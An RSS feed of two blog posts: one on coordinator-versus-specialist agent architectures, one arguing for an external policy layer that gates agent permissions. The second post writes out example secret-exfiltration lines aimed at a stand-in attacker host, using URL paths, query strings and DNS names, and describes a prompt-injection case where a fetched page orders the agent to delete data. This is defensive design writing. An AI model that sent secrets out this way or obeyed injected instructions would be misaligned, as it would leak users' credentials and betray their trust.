<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Virgil｜文剛</title>
    <description>The latest articles on Forem by Virgil｜文剛 (@virgil22).</description>
    <link>https://forem.com/virgil22</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3882965%2Fbdade190-b4cb-4029-8901-2d2127507d7e.jpeg</url>
      <title>Forem: Virgil｜文剛</title>
      <link>https://forem.com/virgil22</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/virgil22"/>
    <language>en</language>
    <item>
      <title>The division of labor in AI systems</title>
      <dc:creator>Virgil｜文剛</dc:creator>
      <pubDate>Sun, 26 Apr 2026 00:00:00 +0000</pubDate>
      <link>https://forem.com/virgil22/the-division-of-labor-in-ai-systems-1ha3</link>
      <guid>https://forem.com/virgil22/the-division-of-labor-in-ai-systems-1ha3</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbxs0slv6kh9ou9udgjyv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbxs0slv6kh9ou9udgjyv.png" width="800" height="600"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When building AI systems that handle multiple kinds of tasks, do you let different agents exist side by side — each owning its own domain — or do you funnel everything through a single entrypoint that routes to the right agent? At work, this design question has come up multiple times already.&lt;/p&gt;

&lt;p&gt;Some of my colleagues and I presented our first agent POCs to the team last week. That question is now more urgent.&lt;/p&gt;

&lt;p&gt;I’m increasingly convinced a single entrypoint routing to specialists is the better starting point, because the pattern itself is intuitive: a coordinator handles synthesis and judgment; each task goes to a specialist that is sufficient for the job and cheaper than the coordinator. In a well-run office team, the coordinator handles the routing so specialists can focus. AI agents have different constraints, but the structural logic is the same: routing and deep domain work are different reasoning modes, and mixing them in a single agent has a cost.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5p8i5uek3gfnnf79dahh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5p8i5uek3gfnnf79dahh.png" alt="A flowchart showing a user request entering a coordinator node at the top, which routes it down to one of four specialist nodes — code, research, document, or reasoning — before all converge back to a single response." width="784" height="351"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The coordinator sits at the top, receives any request, and routes it to the right specialist before synthesising the response.&lt;/p&gt;

&lt;h2&gt;
  
  
  The alternative
&lt;/h2&gt;

&lt;p&gt;If each agent owns a clear domain — code, research, documentation — you pick the right one and off you go. The routing is done by the user, not the system. But what if the user has a request like “summarise the Q2 report and flag anything that looks wrong”? This is a retrieval task and a reasoning task at the same time. A side-by-side system would require you to split it upfront. The coordinator system handles the split for you.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the coordinator enables
&lt;/h2&gt;

&lt;p&gt;When the coordinator is responsible for understanding the request, the system can handle tasks that don’t fit neatly into one domain. Specialisation works on two levels. Domain — the problem space the specialist operates in, like code review or document retrieval. And thinking level — how deeply the specialist needs to reason. These aren’t the same thing. A simple script review and a complex distributed systems codebase are both code review, but they don’t call for the same reasoning depth. The coordinator doesn’t just pick the right domain specialist; it also has to estimate how much thinking the task requires.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the research says
&lt;/h2&gt;

&lt;p&gt;Google Research, Google DeepMind, and MIT published a large study on this in late 2025. In &lt;a href="https://arxiv.org/abs/2512.08296" rel="noopener noreferrer"&gt;Towards a Science of Scaling Agent Systems&lt;/a&gt;, they tested five architectures across four benchmarks and measured error amplification — how much a mistake in one agent’s output cascades through the rest of the system. Independent architectures (no inter-agent communication) amplified errors 17.2× over the single-agent baseline. Centralized coordination contained that to 4.4× through a validation bottleneck. Decentralized and Hybrid fell between them at 7.8× and 5.1× respectively.&lt;/p&gt;

&lt;p&gt;The picture isn’t one-directional: performance ranged from +80.9% on decomposable financial reasoning to −70% on sequential planning, depending on task structure. The coordinator-specialists pattern I’m describing isn’t universally better, but it’s better for the kind of work I’m thinking about. Trying this in practice will tell me where the boundaries actually are.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where this leaves me
&lt;/h2&gt;

&lt;p&gt;In my own research I have found that frameworks like &lt;a href="https://langchain-ai.github.io/langgraph/concepts/" rel="noopener noreferrer"&gt;LangGraph&lt;/a&gt; and &lt;a href="https://microsoft.github.io/autogen/stable/" rel="noopener noreferrer"&gt;AutoGen&lt;/a&gt; model this topology explicitly — a coordinator routing to specialists, with data passed between them. Both are on my list to dig into.&lt;/p&gt;

&lt;p&gt;The design question is still open, but I am leaning towards the coordinator-specialists pattern. I’ll find out more once I start building.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>devtools</category>
      <category>opinion</category>
    </item>
    <item>
      <title>Agents ask too many questions</title>
      <dc:creator>Virgil｜文剛</dc:creator>
      <pubDate>Tue, 14 Apr 2026 00:00:00 +0000</pubDate>
      <link>https://forem.com/virgil22/agents-ask-too-many-questions-4jnd</link>
      <guid>https://forem.com/virgil22/agents-ask-too-many-questions-4jnd</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvsa0dlkhhuowsbwge5ac.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvsa0dlkhhuowsbwge5ac.png" alt="Abstract digital scene of a glowing blue data stream colliding with a rigid amber geometric filter, illustrating tension between fluid AI processes and structured control systems." width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you’ve used any agent harness for development work - Claude Code, OpenCode, Devin, or one of the many others - you’ve run into this: you’re mid-task, the agent needs to search the web or read a file, and it stops to ask permission. This is disruptive to the flow.&lt;/p&gt;

&lt;p&gt;The naive fix is to just trust the agent more - expand the allow list, enable auto mode, and move on. But that’s not a viable long-term solution. An agent that self-certifies its own intent is exploitable. If a model can decide that fetching a URL is “just reading,” it can be manipulated into deciding that almost anything is.&lt;/p&gt;


&lt;div class="crayons-card c-embed"&gt;

  

&lt;p&gt;&lt;strong&gt;The Right Fix:&lt;/strong&gt; Take the decision away from the agent entirely. A policy layer external to the agent must inspect each action against objective criteria—the model’s intent is never consulted.&lt;/p&gt;


&lt;/div&gt;


&lt;h2&gt;
  
  
  Read-only is an objective property
&lt;/h2&gt;

&lt;p&gt;An action is read-only if it observes without modifying. Not “read-only from the agent’s perspective” - objectively read-only. HTTP GET, file read, directory listing. These have a defined shape. A policy layer external to the agent can inspect each action against objective criteria - HTTP method, syscall type, file path - and make the call without asking the model what it thinks it’s doing.&lt;/p&gt;

&lt;p&gt;State-changing actions still prompt. Everything else passes automatically.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftsjmyt7hbc3t1s4cbv7p.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftsjmyt7hbc3t1s4cbv7p.png" alt="A flowchart showing a policy layer intercepting an agent's action and routing it to auto-approve, prompt, or block based on whether it is read-only and whether it contains secrets." width="370" height="835"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The policy layer evaluates each action against objective criteria - the model’s intent is never consulted.&lt;/p&gt;

&lt;h2&gt;
  
  
  Two edge cases worth taking seriously
&lt;/h2&gt;

&lt;p&gt;A GET request &lt;em&gt;can&lt;/em&gt; exfiltrate data. If an agent is manipulated into appending a secret to a query string - &lt;code&gt;https://example.com/?token=sk-ant-...&lt;/code&gt; - the request is technically read-only but it’s leaking something. The same applies to path segments: &lt;code&gt;https://attacker.example.com/exfil/sk-ant-api03-abc123&lt;/code&gt; is functionally identical, but some implementations only scan query parameters. And data can be stuffed into outbound request headers - &lt;code&gt;Referer&lt;/code&gt;, &lt;code&gt;User-Agent&lt;/code&gt;, a custom &lt;code&gt;X-Data&lt;/code&gt; header - none of which show up in URL inspection at all. The policy layer needs to handle all of this: run gitleaks-style pattern matching on the full URL &lt;em&gt;and&lt;/em&gt; outbound headers before granting automatic permission. If anything contains what looks like a secret or personal data, it gets flagged.&lt;/p&gt;

&lt;p&gt;DNS-based exfiltration is subtler. The agent resolves &lt;code&gt;sk-ant-api03-abc123.attacker.example.com&lt;/code&gt;. The GET never fires - but the DNS lookup already transmitted the secret to the attacker’s nameserver. This happens below the HTTP layer. URL pattern matching never sees it because there’s no URL yet. Mitigation: restrict DNS resolution to known domains, or run the same secret-pattern matching on hostnames before resolution.&lt;/p&gt;

&lt;h2&gt;
  
  
  Prompt injection doesn’t break this
&lt;/h2&gt;

&lt;p&gt;The obvious objection: what if the agent fetches a page that contains malicious instructions? The policy layer permits the fetch - it’s a GET - but now those instructions tell the agent to delete all your data.&lt;/p&gt;

&lt;p&gt;This isn’t a problem. That deletion is a new action, evaluated independently by the policy layer at the point of execution. It gets flagged as a write and stopped. The model read something bad, but reading bad content doesn’t bypass the enforcement layer.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where things stand
&lt;/h2&gt;

&lt;p&gt;Most agent harnesses are moving toward fewer interruptions. Allow lists, intent classifiers, “auto mode” flags - these are all variations on the same theme: the harness tries to determine what’s safe by reasoning about the agent’s intent.&lt;/p&gt;

&lt;p&gt;The problem is that intent is opaque and manipulable. A classifier trained to identify “safe” actions can be nudged into misclassifying. A model asked “is this safe?” can be prompted into saying yes. And in practice, these systems are reportedly brittle - auto modes that don’t fire when they should, classifiers that trigger on actions they shouldn’t.&lt;/p&gt;

&lt;p&gt;The missing piece is enforcement that’s external and objective. Not a model deciding what’s safe. Not a classifier trained on past behavior. A proxy or kernel filter that doesn’t care what the model thinks - it only cares what the action &lt;em&gt;is&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;This isn’t theoretical. The pattern works because read-only and write are fundamentally different categories of action, not a spectrum the model has to reason about. An HTTP GET, a file read, a directory listing - these can be authorized by policy without ever asking the agent. Everything else gets held.&lt;/p&gt;

&lt;h2&gt;
  
  
  For builders and power users
&lt;/h2&gt;

&lt;p&gt;If you’re building an agent harness: this is the permission model you want. Inspect actions at the transport or syscall layer, classify by type, apply pattern matching on sensitive data. The agent sees no prompts for reads; it only stops for writes.&lt;/p&gt;

&lt;p&gt;If you’re choosing a harness: look for one with an external policy layer, not one that delegates trust to the model. Fewer interruptions are nice, but they only matter if the enforcement is real.&lt;/p&gt;

&lt;p&gt;How are you handling agent permissions today: are you leaning toward auto-approve or manual confirmation? And have you run into the edge cases around secret exfiltration via URL or headers? Let me know in the comments.&lt;/p&gt;

&lt;h2&gt;
  
  
  Further reading
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://attack.mitre.org/techniques/T1048/003/" rel="noopener noreferrer"&gt;MITRE ATT&amp;amp;CK T1048.003 - Exfiltration Over Unencrypted Non-C2 Protocol&lt;/a&gt; - the canonical reference for DNS-based and other alternative-protocol exfiltration.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/gitleaks/gitleaks" rel="noopener noreferrer"&gt;Gitleaks&lt;/a&gt; - the secret-scanning tool referenced in this post. Regex-based pattern matching for API keys, tokens, and credentials.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ai</category>
      <category>devtools</category>
      <category>security</category>
      <category>opinion</category>
    </item>
  </channel>
</rss>
